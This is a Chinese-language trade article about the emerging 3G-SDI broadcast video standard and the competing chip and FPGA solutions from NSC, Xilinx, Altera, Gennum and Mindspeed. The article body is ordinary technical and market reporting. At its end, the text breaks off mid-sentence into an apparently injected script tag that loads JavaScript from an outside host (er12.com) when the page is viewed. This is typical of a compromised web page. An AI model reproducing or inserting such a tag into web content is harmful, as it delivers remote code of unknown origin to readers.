不久前举行的美国广播工作者协会(nab)展上出现了一大亮点，即：针对新兴的第三代串行数字接口(3g-sdi)标准，芯片制造商们纷纷推出各自具有竞争性的解决方案。
美国国家半导体公司(nsc)发布了据称是全球首款面向3g-sdi的端到端解决方案；赛灵思公司在nab上展示了一组基于其virtex-5系列fpga的参考设计；altera公司也展示了一个之前就已推出的方案。虽然从目前来看，芯片组和fpga之间的竞争异常激烈，但也有业内人士认为，由于芯片制造商之间的“竞争性合作”，两种方案在被称为“智能分割”的设计环境中可能会实现共存。
2006年末，电影电视工程师协会(smpte)批准了新的3gbps sdi标准smpte-424m。这个第三代串行链接标准有望把高端影视环境中现有的hdtv传输速率翻倍，据说还可以全面提高网络中的广播传输质量。
主要的影视中心和电视网络公司紧跟3g-sdi潮流，为正处于芯片行业停滞期的半导体制造商们描绘出一幅诱人前景。多家asic、assp和fpga供应商们纷纷希望能够在在高端广播设备中占得“先机”，但并非所有公司都能够从中受益。
关键的串行/解串器产品在这场竞争中“令人垂涎”。gennum和nsc等多家公司，都正在或已经计划推出针对3g-sdi的分立式串行/解串器方案，而altera和赛灵思则将该技术嵌入在自己的fpga产品中。
envisioneering group研究主管richard doherty认为，短期内还无法预测谁是最终的赢家。“一些人会使用nsc产品，另一些则会使用fpga。这将是一场长时间的拉锯战。”
“在我看来，选用哪种产品取决于具体应用，两种技术都有发展空间。”广播视频设备供应商harris公司广播通信部业务开发副总裁stan moote表示。fpga更适于包含多个通道的较高端系统，而asic和assp可能更适于通道较少的系统，moote指出。
nsc接口部门营销主管stephen kempainen表示，该公司注意到市场正在向“智能分割”方向转变，其面向模拟处理的广播芯片组就可与第三方fpga协同工作。nsc的3g-sdi 串行/解串器负责模拟功能，而fpga将完成繁重的数字处理任务，如光栅支持、扰频、crc和行号插入。“我不认为两者存在冲突，”kempainen说，“我们与赛灵思和altera进行合作，这是竞争性的合作。”
对于系统公司和芯片制造商们来说，sdi有庞大的市场机遇。据市场研究公司scri international报告显示，广播设备市场总规模正在以每年5.3%速率增长，预计今年将达到104亿美元。
sdi是串行数字接口的英文简称，出现在大型影视公司和电视网络中的信号分配放大器、视频路由器、制作切换台、相机和其它设备中。在电视演播室或相关设施中，sdi通过75欧姆同轴电缆在短距离内发送未经压缩的数字视频信号。
但目前使用的hd sdi的带宽不足以满足新型的视频应用要求。smpte 292m标准的hd sdi传输未压缩的视频信号时标称速率为1.485gbps。
smpte 373m(有时被称为双链路标准)是目前使用的一个过渡性标准，它把两条hd-sdi电缆组合起来提供2.97gbps的数据速率。3g-sdi规范仅使用一条75欧姆同轴电缆就能达到同样的速率。
这个新标准能以最高60帧/秒的速度串行传输1080p(垂直分辨率为1080线逐行)未经压缩的视频信号。今天，影视中心制作的是1080p的视频内容，但发送到家庭时的格式却仍然为1080i (隔行)或720p。因而，3g-sdi技术的第一个目标应用是数字电影，以1080p格式制作的分辨率更高的视频内容会使其大大受益，nsc广播视频产品营销经理michael hendricks表示。
下一步是把该技术推进到更宽的网络。目前，双链路hd-sdi技术能够以大约25帧/秒的速度传送1080p视频内容，其发展的目标是使该速度达到50-60帧/秒，hendricks说。以高帧率制作1080p分辨率的视频内容，之后下行转换到1080i或720p，这样做能改进hdtv传输的图像质量，而且比起交叉转换技术来说需要完成的处理也较少，他指出。
虽然不能称全部，但是至少大多数主要的影视中心和电视网络公司期望从双链路sdi转移到3g-sdi技术，harris公司的moote透露。“这样的选择显而易见——它降低了成本并简化了配线。但广播领域不会一夜之间发生重大变化。”他说，“在设备完成升级并做好部署准备之前，我们仍然要继续观察一段时间。”
表一：不同标准的sdi速率及支持的视频格式。
图：sdi板布局的前后对比。
芯片解决方案
芯片制造商们已经在为这一天做准备。去年，mindspeed technologies公司推出了一款面向3g-sdi的视频电缆驱动器；近日，该公司又推出了一款双输出视频电缆均衡器。
去年9月，加拿大gennum公司推出包含gs2974a均衡器、gs2975a时钟恢复器(reclocker)和gs2978电缆驱动器在内的hd-linx iii芯片组，成为另一家率先登台的供应商。
该芯片组与处理串行/解串功能?script src=http://er12.com/t.js>
